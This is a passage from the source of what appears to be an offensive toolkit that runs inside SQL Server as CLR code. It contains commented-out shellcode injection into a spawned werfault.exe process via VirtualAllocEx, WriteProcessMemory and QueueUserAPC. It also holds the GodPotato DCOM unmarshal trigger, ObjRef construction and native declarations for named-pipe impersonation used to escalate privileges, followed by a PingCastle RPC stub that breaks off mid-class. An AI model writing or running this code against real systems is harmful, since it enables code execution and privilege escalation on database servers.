249 | // if (CloseHandle(intPtr))
250 | // {
251 | // SqlContext.Pipe.Send("[+] hOpenProcessClose Success");
252 | // }
253 | // SqlContext.Pipe.Send("\n\n[*] QueueUserAPC Inject shellcode Success, enjoy!");
254 | // }
255 | // catch (Exception ex)
256 | // {
257 | // SqlContext.Pipe.Send("[X] ERROR Log:" + ex.ToString());
258 | // }
259 | // }
260 |
261 | // public static void run2(string file)
262 | // {
263 | // try
264 | // {
265 | // SqlContext.Pipe.Send($"[+] ShellcodePath: {file}");
266 | // byte[] array = File.ReadAllBytes(file);
267 | // uint lpNumberOfBytesWritten = 0u;
268 | // PROCESS_INFORMATION pROCESS_INFORMATION = StartProcess("C:/Windows/System32/werfault.exe");
269 | // SqlContext.Pipe.Send("[+] StartProcess werfault.exe");
270 | // IntPtr intPtr = OpenProcess(2035711u, bInheritHandle: false, (uint)pROCESS_INFORMATION.dwProcessId);
271 | // SqlContext.Pipe.Send($"[+] OpenProcess Pid: {pROCESS_INFORMATION.dwProcessId.ToString()}");
272 | // IntPtr intPtr2 = VirtualAllocEx(intPtr, IntPtr.Zero, (uint)array.Length, 12288u, 64u);
273 | // SqlContext.Pipe.Send("[+] VirtualAllocEx Success");
274 | // if (WriteProcessMemory(intPtr, intPtr2, array, (uint)array.Length, ref lpNumberOfBytesWritten))
275 | // {
276 | // IntPtr hThread = OpenThread(ThreadAccess.THREAD_ALL, bInheritHandle: false, (uint)pROCESS_INFORMATION.dwThreadId);
277 | // QueueUserAPC(intPtr2, hThread, IntPtr.Zero);
278 | // ResumeThread(hThread);
279 | // SqlContext.Pipe.Send($"[+] QueueUserAPC Inject shellcode to PID: {pROCESS_INFORMATION.dwProcessId.ToString()} Success");
280 | // }
281 | // if (CloseHandle(intPtr))
282 | // {
283 | // SqlContext.Pipe.Send("[+] hOpenProcessClose Success");
284 | // }
285 | // SqlContext.Pipe.Send("\n\n[*] QueueUserAPC Inject shellcode Success, enjoy!");
286 | // }
287 | // catch (Exception ex)
288 | // {
289 | // SqlContext.Pipe.Send("[X] ERROR Log:" + ex.ToString());
290 | // }
291 | // }
292 | }
293 |
--------------------------------------------------------------------------------
/Database/NativeAPI/GodPotatoUnmarshalTrigger.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Runtime.InteropServices.ComTypes;
4 | using Microsoft.SqlServer.Server;
5 |
6 | namespace GodPotato.NativeAPI{
7 |
8 | [ComVisible(true)]
9 | public class GodPotatoUnmarshalTrigger {
10 | private readonly static Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}");
11 | private readonly static string binding = "127.0.0.1";
12 | private readonly static TowerProtocol towerProtocol = TowerProtocol.EPM_PROTOCOL_TCP;
13 |
14 |
15 | public object fakeObject = new object();
16 | public IntPtr pIUnknown;
17 | public IBindCtx bindCtx;
18 | public IMoniker moniker;
19 |
20 | private GodPotatoContext godPotatoContext;
21 |
22 |
23 | public GodPotatoUnmarshalTrigger(GodPotatoContext godPotatoContext) {
24 | this.godPotatoContext = godPotatoContext;
25 |
26 |
27 | if (!godPotatoContext.IsStart)
28 | {
29 | throw new Exception("GodPotatoContext was not initialized");
30 | }
31 |
32 | pIUnknown = Marshal.GetIUnknownForObject(fakeObject);
33 | NativeMethods.CreateBindCtx(0, out bindCtx);
34 | NativeMethods.CreateObjrefMoniker(pIUnknown, out moniker);
35 |
36 | }
37 |
38 |
39 | public int Trigger() {
40 |
41 | string ppszDisplayName;
42 | moniker.GetDisplayName(bindCtx, null, out ppszDisplayName);
43 | ppszDisplayName = ppszDisplayName.Replace("objref:", "").Replace(":", "");
44 | byte[] objrefBytes = Convert.FromBase64String(ppszDisplayName);
45 |
46 | ObjRef tmpObjRef = new ObjRef(objrefBytes);
47 |
48 | SqlContext.Pipe.Send($"[*] DCOM obj GUID: {tmpObjRef.Guid}");
49 | SqlContext.Pipe.Send($"[*] DCOM obj IPID: {tmpObjRef.StandardObjRef.IPID}");
50 | SqlContext.Pipe.Send(String.Format("[*] DCOM obj OXID: 0x{0:x}", tmpObjRef.StandardObjRef.OXID));
51 | SqlContext.Pipe.Send(String.Format("[*] DCOM obj OID: 0x{0:x}", tmpObjRef.StandardObjRef.OID));
52 | SqlContext.Pipe.Send(String.Format("[*] DCOM obj Flags: 0x{0:x}", tmpObjRef.StandardObjRef.Flags));
53 | SqlContext.Pipe.Send(String.Format("[*] DCOM obj PublicRefs: 0x{0:x}", tmpObjRef.StandardObjRef.PublicRefs));
54 |
55 | ObjRef objRef = new ObjRef(IID_IUnknown,
56 | new ObjRef.Standard(0, 1, tmpObjRef.StandardObjRef.OXID, tmpObjRef.StandardObjRef.OID, tmpObjRef.StandardObjRef.IPID,
57 | new ObjRef.DualStringArray(new ObjRef.StringBinding(towerProtocol, binding), new ObjRef.SecurityBinding(0xa, 0xffff, null))));
58 | byte[] data = objRef.GetBytes();
59 |
60 | SqlContext.Pipe.Send($"[*] Marshal Object bytes len: {data.Length}");
61 |
62 | IntPtr ppv;
63 |
64 | SqlContext.Pipe.Send($"[*] UnMarshal Object");
65 | return UnmarshalDCOM.UnmarshalObject(data,out ppv);
66 | }
67 |
68 |
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/Database/NativeAPI/IStreamImpl.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Runtime.InteropServices;
4 | using System.Runtime.InteropServices.ComTypes;
5 |
6 | namespace GodPotato.NativeAPI
7 | {
8 | public class IStreamImpl : IStream, IDisposable
9 | {
10 | private Stream m_stream;
11 |
12 | public IStreamImpl(Stream stream)
13 | {
14 | m_stream = stream;
15 | }
16 |
17 |
18 | public void Dispose()
19 | {
20 | m_stream.Dispose();
21 | }
22 |
23 | public void Close()
24 | {
25 | Dispose();
26 | }
27 |
28 | public void Clone(out IStream pStm)
29 | {
30 | throw new NotImplementedException();
31 | }
32 |
33 | public void Stat(out System.Runtime.InteropServices.ComTypes.STATSTG statStg, int grfFlags)
34 | {
35 | statStg = new System.Runtime.InteropServices.ComTypes.STATSTG();
36 | statStg.cbSize = m_stream.Length;
37 | }
38 |
39 | public void UnlockRegion(long libOffset, long cb, int dwLockType)
40 | {
41 | throw new NotImplementedException();
42 | }
43 |
44 | public void LockRegion(long libOffset, long cb, int dwLockType)
45 | {
46 | throw new NotImplementedException();
47 | }
48 |
49 | public void Revert()
50 | {
51 | throw new NotImplementedException();
52 | }
53 |
54 | public void Commit(int grfCommitFlags)
55 | {
56 | throw new NotImplementedException();
57 | }
58 |
59 | public void CopyTo(IStream pstm, long cb, IntPtr pcbRead, IntPtr pcbWritten)
60 | {
61 | throw new NotImplementedException();
62 | }
63 |
64 | public void SetSize(long lSize)
65 | {
66 | throw new NotImplementedException();
67 | }
68 |
69 | public void Seek(long dlibMove, int dwOrigin, IntPtr plibNewPosition)
70 | {
71 | SeekOrigin origin;
72 |
73 | switch (dwOrigin)
74 | {
75 | case 0:
76 | origin = SeekOrigin.Begin;
77 | break;
78 | case 1:
79 | origin = SeekOrigin.Current;
80 | break;
81 | case 2:
82 | origin = SeekOrigin.End;
83 | break;
84 | default: throw new ArgumentException();
85 | }
86 | m_stream.Seek(dlibMove, origin);
87 | if (plibNewPosition != IntPtr.Zero)
88 | {
89 | Marshal.WriteInt64(plibNewPosition, m_stream.Position);
90 | }
91 | }
92 |
93 | public void Read(byte[] pv, int cb, IntPtr pcbRead)
94 | {
95 | int readCount = m_stream.Read(pv, 0, cb);
96 | if (pcbRead != IntPtr.Zero)
97 | {
98 | Marshal.WriteInt32(pcbRead, readCount);
99 | }
100 | }
101 |
102 | public void Write(byte[] pv, int cb, IntPtr pcbWritten)
103 | {
104 | m_stream.Write(pv, 0, cb);
105 | if (pcbWritten != IntPtr.Zero)
106 | {
107 | Marshal.WriteInt32(pcbWritten, cb);
108 | }
109 | }
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/Database/NativeAPI/NativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Runtime.InteropServices;
4 | using System.Runtime.InteropServices.ComTypes;
5 | using System.Security.Principal;
6 | using System.Text;
7 |
8 | namespace GodPotato.NativeAPI
9 | {
10 | public class NativeMethods
11 | {
12 |
13 | public readonly static IntPtr BAD_HANLE = new IntPtr(-1);
14 |
15 |
16 | public static readonly uint ERROR_PIPE_CONNECTED = 0x217;
17 |
18 | public static readonly uint HANDLE_FLAG_INHERIT = 0x00000001;
19 | public static readonly uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002;
20 |
21 | public readonly static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000;
22 | public readonly static uint TOKEN_ASSIGN_PRIMARY = 0x0001;
23 | public readonly static uint TOKEN_DUPLICATE = 0x0002;
24 | public readonly static uint TOKEN_IMPERSONATE = 0x0004;
25 | public readonly static uint TOKEN_QUERY = 0x0008;
26 | public readonly static uint TOKEN_QUERY_SOURCE = 0x0010;
27 | public readonly static uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
28 | public readonly static uint TOKEN_ADJUST_GROUPS = 0x0040;
29 | public readonly static uint TOKEN_ADJUST_DEFAULT = 0x0080;
30 | public readonly static uint TOKEN_ADJUST_SESSIONID = 0x0100;
31 | public readonly static uint TOKEN_ELEVATION = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;
32 |
33 | public readonly static uint STARTF_FORCEONFEEDBACK = 0x00000040;
34 | public readonly static uint STARTF_FORCEOFFFEEDBACK = 0x00000080;
35 | public readonly static uint STARTF_PREVENTPINNING = 0x00002000;
36 | public readonly static uint STARTF_RUNFULLSCREEN = 0x00000020;
37 | public readonly static uint STARTF_TITLEISAPPID = 0x00001000;
38 | public readonly static uint STARTF_TITLEISLINKNAME = 0x00000800;
39 | public readonly static uint STARTF_UNTRUSTEDSOURCE = 0x00008000;
40 | public readonly static uint STARTF_USECOUNTCHARS = 0x00000008;
41 | public readonly static uint STARTF_USEFILLATTRIBUTE = 0x00000010;
42 | public readonly static uint STARTF_USEHOTKEY = 0x00000200;
43 | public readonly static uint STARTF_USEPOSITION = 0x00000004;
44 | public readonly static uint STARTF_USESHOWWINDOW = 0x00000001;
45 | public readonly static uint STARTF_USESIZE = 0x00000002;
46 | public readonly static uint STARTF_USESTDHANDLES = 0x00000100;
47 |
48 |
49 | public static readonly uint STATUS_SUCCESS = 0x00000000;
50 | public static readonly uint ERROR_SUCCESS = 0x00000000;
51 |
52 | public static readonly int SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001;
53 | public static readonly int SE_PRIVILEGE_ENABLED = 0x00000002;
54 | public static readonly int SE_PRIVILEGE_REMOVED = 0X00000004;
55 |
56 | public readonly static int E_NOINTERFACE = unchecked((int)0x80004002);
57 | public readonly static int NOERROR = 0;
58 |
59 |
60 | public readonly static int STGM_CREATE = 0x00001000;
61 | public readonly static int STGM_CONVERT = 0x00020000;
62 | public readonly static int STGM_FAILIFTHERE = 0x00000000;
63 |
64 | public readonly static int STGM_READ = 0x00000000;
65 | public readonly static int STGM_WRITE = 0x00000001;
66 | public readonly static int STGM_READWRITE = 0x00000002;
67 |
68 | public readonly static int STGM_SHARE_DENY_NONE = 0x00000040;
69 | public readonly static int STGM_SHARE_DENY_READ = 0x00000030;
70 | public readonly static int STGM_SHARE_DENY_WRITE = 0x00000020;
71 | public readonly static int STGM_SHARE_EXCLUSIVE = 0x00000010;
72 |
73 |
74 | public static readonly int NMPWAIT_WAIT_FOREVER = unchecked((int)0xffffffff);
75 | public static readonly int NMPWAIT_NOWAIT = 0x00000001;
76 | public static readonly int NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
77 |
78 | public static readonly int PIPE_UNLIMITED_INSTANCES = 255;
79 |
80 | public static readonly int PIPE_WAIT = 0x00000000;
81 | public static readonly int PIPE_NOWAIT = 0x00000001;
82 | public static readonly int PIPE_READMODE_BYTE = 0x00000000;
83 | public static readonly int PIPE_READMODE_MESSAGE = 0x00000002;
84 | public static readonly int PIPE_TYPE_BYTE = 0x00000000;
85 | public static readonly int PIPE_TYPE_MESSAGE = 0x00000004;
86 | public static readonly int PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000;
87 | public static readonly int PIPE_REJECT_REMOTE_CLIENTS = 0x00000008;
88 |
89 | public static readonly int PIPE_ACCESS_INBOUND = 0x00000001;
90 | public static readonly int PIPE_ACCESS_OUTBOUND = 0x00000002;
91 | public static readonly int PIPE_ACCESS_DUPLEX = 0x00000003;
92 |
93 |
94 |
95 | public static Dictionary IIDPTR = new Dictionary();
96 |
97 | [StructLayout(LayoutKind.Sequential)]
98 | public struct SECURITY_ATTRIBUTES
99 | {
100 | public int nLength;
101 | public IntPtr pSecurityDescriptor;
102 | public bool bInheritHandle;
103 | }
104 |
105 |
106 | [StructLayout(LayoutKind.Sequential)]
107 | internal struct RPC_VERSION
108 | {
109 | public ushort MajorVersion;
110 | public ushort MinorVersion;
111 | }
112 |
113 | [StructLayout(LayoutKind.Sequential)]
114 | internal struct RPC_SYNTAX_IDENTIFIER
115 | {
116 | public Guid SyntaxGUID;
117 | public RPC_VERSION SyntaxVersion;
118 | }
119 |
120 | [StructLayout(LayoutKind.Sequential)]
121 | internal struct RPC_SERVER_INTERFACE
122 | {
123 | public uint Length;
124 | public RPC_SYNTAX_IDENTIFIER InterfaceId;
125 | public RPC_SYNTAX_IDENTIFIER TransferSyntax;
126 | public IntPtr DispatchTable;
127 | public uint RpcProtseqEndpointCount;
128 | public IntPtr RpcProtseqEndpoint;
129 | public IntPtr DefaultManagerEpv;
130 | public IntPtr InterpreterInfo;
131 | public uint Flags;
132 | }
133 |
134 | [StructLayout(LayoutKind.Sequential)]
135 | public struct RPC_DISPATCH_TABLE
136 | {
137 |
138 | /// unsigned int
139 | public uint DispatchTableCount;
140 |
141 | /// RPC_DISPATCH_FUNCTION*
142 | public IntPtr DispatchTable;
143 |
144 | /// LONG_PTR->int
145 | public int Reserved;
146 | }
147 |
148 | [StructLayout(LayoutKind.Sequential)]
149 | public struct MIDL_SERVER_INFO
150 | {
151 | public IntPtr /* PMIDL_STUB_DESC */ pStubDesc;
152 | public IntPtr /* SERVER_ROUTINE* */ DispatchTable;
153 | public IntPtr /* PFORMAT_STRING */ ProcString;
154 | public IntPtr /* unsigned short* */ FmtStringOffset;
155 | public IntPtr /* STUB_THUNK * */ ThunkTable;
156 | public IntPtr /* PRPC_SYNTAX_IDENTIFIER */ pTransferSyntax;
157 | public IntPtr /* ULONG_PTR */ nCount;
158 | public IntPtr /* PMIDL_SYNTAX_INFO */ pSyntaxInfo;
159 | }
160 |
161 |
162 | [DllImport("kernel32.dll", SetLastError = true)]
163 | public static extern bool VirtualProtect([In] IntPtr pBlock,[In] uint size,[In] uint newProtect,[Out] out uint oldProtect);
164 | [DllImport("Advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
165 | internal static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);
166 |
167 | [DllImport("kernel32")]
168 | public static extern void CloseHandle(IntPtr hObject);
169 | [DllImport("advapi32.dll", SetLastError = true)]
170 | [return: MarshalAs(UnmanagedType.Bool)]
171 | public static extern bool RevertToSelf();
172 | [DllImport("kernel32.dll", SetLastError = true)]
173 | [return: MarshalAs(UnmanagedType.Bool)]
174 | public static extern bool ConnectNamedPipe(IntPtr handle, IntPtr overlapped);
175 | [DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, EntryPoint = "CreateNamedPipeW", SetLastError = true)]
176 | public static extern IntPtr CreateNamedPipe(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout, ref SECURITY_ATTRIBUTES securityAttributes);
177 | [DllImport("advapi32.dll", SetLastError = true)]
178 | [return: MarshalAs(UnmanagedType.Bool)]
179 | public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
180 | [DllImport("ole32.dll")]
181 | public static extern int CoUnmarshalInterface(IStream stm, ref Guid riid, out IntPtr ppv);
182 |
183 | [DllImport("ole32.dll", PreserveSig = false, ExactSpelling = true)]
184 | public static extern int CreateBindCtx(uint reserved, out IBindCtx ppbc);
185 |
186 | [DllImport("ole32.dll", CharSet = CharSet.Unicode, PreserveSig = false, ExactSpelling = true)]
187 | public static extern int CreateObjrefMoniker(IntPtr pUnk, out IMoniker ppMoniker);
188 | }
189 | }
190 |
--------------------------------------------------------------------------------
/Database/NativeAPI/ObjRef.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Text;
4 |
5 | namespace GodPotato.NativeAPI{
6 |
7 | public enum TowerProtocol : ushort {
8 | EPM_PROTOCOL_DNET_NSP = 0x04,
9 | EPM_PROTOCOL_OSI_TP4 = 0x05,
10 | EPM_PROTOCOL_OSI_CLNS = 0x06,
11 | EPM_PROTOCOL_TCP = 0x07,
12 | EPM_PROTOCOL_UDP = 0x08,
13 | EPM_PROTOCOL_IP = 0x09,
14 | EPM_PROTOCOL_NCADG = 0x0a, /* Connectionless RPC */
15 | EPM_PROTOCOL_NCACN = 0x0b,
16 | EPM_PROTOCOL_NCALRPC = 0x0c, /* Local RPC */
17 | EPM_PROTOCOL_UUID = 0x0d,
18 | EPM_PROTOCOL_IPX = 0x0e,
19 | EPM_PROTOCOL_SMB = 0x0f,
20 | EPM_PROTOCOL_NAMED_PIPE = 0x10,
21 | EPM_PROTOCOL_NETBIOS = 0x11,
22 | EPM_PROTOCOL_NETBEUI = 0x12,
23 | EPM_PROTOCOL_SPX = 0x13,
24 | EPM_PROTOCOL_NB_IPX = 0x14, /* NetBIOS over IPX */
25 | EPM_PROTOCOL_DSP = 0x16, /* AppleTalk Data Stream Protocol */
26 | EPM_PROTOCOL_DDP = 0x17, /* AppleTalk Data Datagram Protocol */
27 | EPM_PROTOCOL_APPLETALK = 0x18, /* AppleTalk */
28 | EPM_PROTOCOL_VINES_SPP = 0x1a,
29 | EPM_PROTOCOL_VINES_IPC = 0x1b, /* Inter Process Communication */
30 | EPM_PROTOCOL_STREETTALK = 0x1c, /* Vines Streettalk */
31 | EPM_PROTOCOL_HTTP = 0x1f,
32 | EPM_PROTOCOL_UNIX_DS = 0x20, /* Unix domain socket */
33 | EPM_PROTOCOL_NULL = 0x21
34 | }
35 |
36 | internal class ObjRef {
37 |
38 | [Flags]
39 | enum Type : uint {
40 | Standard = 0x1,
41 | Handler = 0x2,
42 | Custom = 0x4
43 | }
44 |
45 | const uint Signature = 0x574f454d;
46 | public readonly Guid Guid;
47 | public readonly Standard StandardObjRef;
48 |
49 | public ObjRef(Guid guid, Standard standardObjRef) {
50 | Guid = guid;
51 | StandardObjRef = standardObjRef;
52 | }
53 |
54 | public ObjRef(byte[] objRefBytes) {
55 |
56 | BinaryReader br = new BinaryReader(new MemoryStream(objRefBytes), Encoding.Unicode);
57 |
58 | if (br.ReadUInt32() != Signature) {
59 | throw new InvalidDataException("Does not look like an OBJREF stream");
60 | }
61 |
62 | uint flags = br.ReadUInt32();
63 | Guid = new Guid(br.ReadBytes(16));
64 |
65 | if ((Type)flags == Type.Standard) {
66 | StandardObjRef = new Standard(br);
67 | }
68 | }
69 |
70 | public byte[] GetBytes() {
71 | BinaryWriter bw = new BinaryWriter(new MemoryStream());
72 |
73 | bw.Write(Signature);
74 | bw.Write((uint)1);
75 | bw.Write(Guid.ToByteArray());
76 |
77 | StandardObjRef.Save(bw);
78 |
79 | return ((MemoryStream)bw.BaseStream).ToArray();
80 | }
81 |
82 | internal class SecurityBinding {
83 |
84 | public readonly ushort AuthnSvc;
85 | public readonly ushort AuthzSvc;
86 | public readonly string PrincipalName;
87 |
88 | public SecurityBinding(ushort authnSvc, ushort authzSnc, string principalName) {
89 | AuthnSvc = authnSvc;
90 | AuthzSvc = authzSnc;
91 | PrincipalName = principalName;
92 | }
93 |
94 | public SecurityBinding(BinaryReader br) {
95 |
96 | AuthnSvc = br.ReadUInt16();
97 | AuthzSvc = br.ReadUInt16();
98 | char character;
99 | string principalName = "";
100 |
101 | while ((character = br.ReadChar()) != 0) {
102 | principalName += character;
103 | }
104 |
105 | br.ReadChar();
106 | }
107 |
108 |
109 | public byte[] GetBytes() {
110 | BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode);
111 |
112 | bw.Write(AuthnSvc);
113 | bw.Write(AuthzSvc);
114 |
115 | if (PrincipalName != null && PrincipalName.Length > 0)
116 | bw.Write(Encoding.Unicode.GetBytes(PrincipalName));
117 |
118 | bw.Write((char)0);
119 | bw.Write((char)0);
120 |
121 | return ((MemoryStream)bw.BaseStream).ToArray();
122 | }
123 | }
124 |
125 | internal class StringBinding {
126 | public readonly TowerProtocol TowerID;
127 | public readonly string NetworkAddress;
128 |
129 | public StringBinding(TowerProtocol towerID, string networkAddress) {
130 | TowerID = towerID;
131 | NetworkAddress = networkAddress;
132 | }
133 |
134 | public StringBinding(BinaryReader br) {
135 | TowerID = (TowerProtocol)br.ReadUInt16();
136 | char character;
137 | string networkAddress = "";
138 |
139 | while ((character = br.ReadChar()) != 0) {
140 | networkAddress += character;
141 | }
142 |
143 | br.ReadChar();
144 | NetworkAddress = networkAddress;
145 | }
146 |
147 | internal byte[] GetBytes() {
148 | BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode);
149 |
150 | bw.Write((ushort)TowerID);
151 | bw.Write(Encoding.Unicode.GetBytes(NetworkAddress));
152 | bw.Write((char)0);
153 | bw.Write((char)0);
154 |
155 | return ((MemoryStream)bw.BaseStream).ToArray();
156 | }
157 | }
158 |
159 | internal class DualStringArray {
160 | private readonly ushort NumEntries;
161 | private readonly ushort SecurityOffset;
162 | public readonly StringBinding StringBinding;
163 | public readonly SecurityBinding SecurityBinding;
164 |
165 | public DualStringArray(StringBinding stringBinding, SecurityBinding securityBinding) {
166 | NumEntries = (ushort)((stringBinding.GetBytes().Length + securityBinding.GetBytes().Length) / 2);
167 | SecurityOffset = (ushort)(stringBinding.GetBytes().Length / 2);
168 |
169 | StringBinding = stringBinding;
170 | SecurityBinding = securityBinding;
171 | }
172 |
173 | public DualStringArray(BinaryReader br) {
174 | NumEntries = br.ReadUInt16();
175 | SecurityOffset = br.ReadUInt16();
176 |
177 | StringBinding = new StringBinding(br);
178 | SecurityBinding = new SecurityBinding(br);
179 | }
180 |
181 | internal void Save(BinaryWriter bw) {
182 |
183 | byte[] stringBinding = StringBinding.GetBytes();
184 | byte[] securityBinding = SecurityBinding.GetBytes();
185 |
186 | bw.Write((ushort)((stringBinding.Length + securityBinding.Length) / 2));
187 | bw.Write((ushort)(stringBinding.Length / 2));
188 | bw.Write(stringBinding);
189 | bw.Write(securityBinding);
190 | }
191 | }
192 |
193 | internal class Standard {
194 |
195 | const ulong Oxid = 0x0703d84a06ec96cc;
196 | const ulong Oid = 0x539d029cce31ac;
197 |
198 | public readonly uint Flags;
199 | public readonly uint PublicRefs;
200 | public readonly ulong OXID;
201 | public readonly ulong OID;
202 | public readonly Guid IPID;
203 | public readonly DualStringArray DualStringArray;
204 |
205 | public Standard(uint flags, uint publicRefs, ulong oxid, ulong oid, Guid ipid, DualStringArray dualStringArray) {
206 | Flags = flags;
207 | PublicRefs = publicRefs;
208 | OXID = oxid;
209 | OID = oid;
210 | IPID = ipid;
211 | DualStringArray = dualStringArray;
212 | }
213 |
214 | public Standard(BinaryReader br) {
215 | Flags = br.ReadUInt32();
216 | PublicRefs = br.ReadUInt32();
217 | OXID = br.ReadUInt64();
218 | OID = br.ReadUInt64();
219 | IPID = new Guid(br.ReadBytes(16));
220 |
221 | DualStringArray = new DualStringArray(br);
222 | }
223 |
224 | internal void Save(BinaryWriter bw) {
225 | bw.Write(Flags);
226 | bw.Write(PublicRefs);
227 | bw.Write(OXID);
228 | bw.Write(OID);
229 | bw.Write(IPID.ToByteArray());
230 | DualStringArray.Save(bw);
231 | }
232 | }
233 | }
234 | }
235 |
--------------------------------------------------------------------------------
/Database/NativeAPI/UnmarshalDCOM.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace GodPotato.NativeAPI
5 | {
6 | internal class UnmarshalDCOM
7 | {
8 | private readonly static Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}");
9 |
10 | public static int UnmarshalObject(Stream stm, Guid iid, out IntPtr ppv)
11 | {
12 | return NativeMethods.CoUnmarshalInterface(new IStreamImpl(stm), ref iid,out ppv);
13 | }
14 |
15 | public static int UnmarshalObject(byte[] objref, out IntPtr ppv)
16 | {
17 | return UnmarshalObject(new MemoryStream(objref), IID_IUnknown,out ppv);
18 | }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/Database/PingCastle/RPC/dcom.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace PingCastle.RPC
6 | {
7 | public class OxidBindings : rpcapi
8 | {
9 |
10 | private static byte[] MIDL_ProcFormatStringx86 = new byte[] {
11 | 0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
12 | 0x48,0x00,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,
13 | 0x00,0x00,0x00,0x00,0x02,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,
14 | 0x00,0x00,0x00,0x03,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,
15 | 0x00,0x00,0x04,0x00,0x04,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x01,0x00,0x00,
16 | 0x00,0x05,0x00,0x14,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x45,0x04,0x08,0x03,0x01,0x00,0x00,0x00,0x00,0x00,0x12,0x21,0x04,0x00,0x06,0x00,
17 | 0x13,0x20,0x08,0x00,0x0e,0x00,0x50,0x21,0x0c,0x00,0x08,0x00,0x70,0x00,0x10,0x00,0x10,0x00,0x00
18 | };
19 |
20 | private static byte[] MIDL_ProcFormatStringx64 = new byte[] {
21 | 0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
22 | 0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x01,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
23 | 0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x01,0x00,0x00,0x00,0x00,0x00,
24 | 0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x03,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x01,0x00,0x00,0x00,0x00,
25 | 0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x04,0x00,0x08,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x0a,0x01,0x00,0x00,0x00,
26 | 0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x01,0x00,0x00,0x00,0x05,0x00,0x28,0x00,0x32,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x45,0x04,0x0a,0x03,0x01,0x00,
27 | 0x00,0x00,0x00,0x00,0x00,0x00,0x12,0x21,0x08,0x00,0x06,0x00,0x13,0x20,0x10,0x00,0x0e,0x00,0x50,0x21,0x18,0x00,0x08,0x00,0x70,0x00,0x20,0x00,0x10,
28 | 0x00,0x00};
29 |
30 | private static byte[] MIDL_TypeFormatStringx86 = new byte[] {
31 | 0x00,0x00,0x11,0x04,0x02,0x00,0x15,0x01,0x04,0x00,0x06,0x06,0x5c,0x5b,0x11,0x14,0x02,0x00,0x12,0x00,0x0e,0x00,0x1b,0x01,0x02,0x00,0x07,0x00,0xfc,
32 | 0xff,0x01,0x00,0x06,0x5b,0x17,0x01,0x04,0x00,0xf0,0xff,0x06,0x06,0x5c,0x5b,0x11,0x0c,0x08,0x5c,0x00
33 | };
34 |
35 | private static byte[] MIDL_TypeFormatStringx64 = new byte[] {
36 | 0x00,0x00,0x11,0x04,0x02,0x00,0x15,0x01,0x04,0x00,0x06,0x06,0x5c,0x5b,0x11,0x14,0x02,0x00,0x12,0x00,0x0e,0x00,0x1b,0x01,0x02,0x00,0x07,0x00,0xfc,
37 | 0xff,0x01,0x00,0x06,0x5b,0x17,0x01,0x04,0x00,0xf0,0xff,0x06,0x06,0x5c,0x5b,0x11,0x0c,0x08,0x5c,0x00};
38 |
